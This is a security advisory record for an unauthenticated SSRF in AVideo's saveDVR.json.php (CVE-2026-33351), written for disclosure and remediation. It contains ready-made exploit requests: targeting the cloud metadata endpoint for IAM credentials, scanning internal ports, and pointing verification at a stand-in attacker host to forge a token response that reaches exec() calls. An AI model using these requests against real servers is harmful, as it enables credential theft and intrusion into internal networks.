{"id":"GHSA-5f7v-4f6g-74rj","summary":"AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass","details":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = '../../../videos/configuration.php';\nif (file_exists($configFile)) {\n    include_once $configFile;\n    $streamerURL = $global['webSiteRootURL'];\n}\n\nif (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {\n    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}\";\n$result = file_get_contents($verifyURL);           // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST['webSiteRootURL']` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` — differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` — reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n   ```\n   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n   ```\n   That returns:\n   ```json\n   {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n   ```\n\n2. The attacker sends:\n   ```\n   POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n   webSiteRootURL=https://attacker.example.com/&saveDVR=anything\n   ```\n\n3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n   - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` — used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n   - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` — used **without** `escapeshellarg()` in:\n     - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n     - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n     - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n   The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n   - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n   - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n   - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n   ```php\n   // Remove this block:\n   // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {\n   //     $streamerURL = $_REQUEST['webSiteRootURL'];\n   // }\n\n   // If $streamerURL is still empty, abort:\n   if (empty($streamerURL)) {\n       error_log(\"saveDVR: streamerURL is not configured\");\n       die('saveDVR: Server not configured');\n   }\n   ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n   ```php\n   if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {\n       $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL);\n       if ($url && preg_match('/^https?:\\/\\//i', $url)) {\n           // Resolve hostname and block private/reserved IPs\n           $host = parse_url($url, PHP_URL_HOST);\n           $ip = gethostbyname($host);\n           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n               die('saveDVR: Invalid URL');\n           }\n           $streamerURL = $url;\n       }\n   }\n   ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.","aliases":["CVE-2026-33351"],"modified":"2026-03-25T19:48:42.009331Z","published":"2026-03-19T19:13:26Z","database_specific":{"github_reviewed_at":"2026-03-19T19:13:26Z","nvd_published_at":"2026-03-23T14:16:33Z","cwe_ids":["CWE-918"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33351"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-5f7v-4f6g-74rj/GHSA-5f7v-4f6g-74rj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}